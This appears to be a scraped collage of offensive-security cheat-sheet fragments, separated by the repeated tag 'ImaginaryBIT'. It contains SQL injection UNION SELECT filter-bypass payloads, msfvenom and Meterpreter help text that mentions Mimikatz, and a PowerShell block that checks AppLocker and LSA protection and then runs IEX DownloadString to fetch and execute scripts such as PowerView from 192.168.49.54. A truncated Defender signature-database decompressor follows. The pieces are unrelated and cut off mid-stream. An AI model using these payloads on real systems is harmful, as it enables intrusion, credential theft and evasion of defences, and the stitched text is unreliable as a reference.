ImaginaryBIT

/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt

ImaginaryBIT

MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>

Options:
    -l, --list            <type>     List all modules for [type]. Types are: payloads, encoders, nops, platforms, formats, all                                                                                    
    -p, --payload         <payload>  Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom                                                                      
        --list-options               List --payload <value>'s standard, advanced and evasion options
    -f, --format          <format>   Output format (use --list formats to list)
    -e, --encoder         <encoder>  The encoder to use (use --list encoders to list)

ImaginaryBIT

meterpreter > help

Metasploit has two versions of Mimikatz available as Meterpreter extensions: 
version 1.0 by loading the mimikatz extension, and the newer version 2.x by loading the kiwi extension.
                                                                       
Core Commands                                                                                    
=============                                                                             
                                                                  
    Command                   Description                      
    -------                   -----------                                 

ImaginaryBIT

# General Payload  
```powershell
$ExecutionContext.SessionState.LanguageMode
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe
dir C:\Windows\Microsoft.Net\Framework64
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
  
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/apple.txt");
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/loadDLL64.txt");
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/PowerView.ps1");

ImaginaryBIT

filter Expand-DefenderAVSignatureDB {
<#
.SYNOPSIS

Decompresses a Windows Defender AV signature database (.VDM file).

.DESCRIPTION

Expand-DefenderAVSignatureDB extracts a Windows Defender AV signature database (.VDM file). This function was developed by reversing mpengine.dll and with the help of Tavis Ormandy and his LoadLibrary project (https://github.com/taviso/loadlibrary). Note: Currently, "scrambled" databases are not supported although, I have yet to encounter a scrambled database. Thus far, all databases I've encountered are zlib-compressed.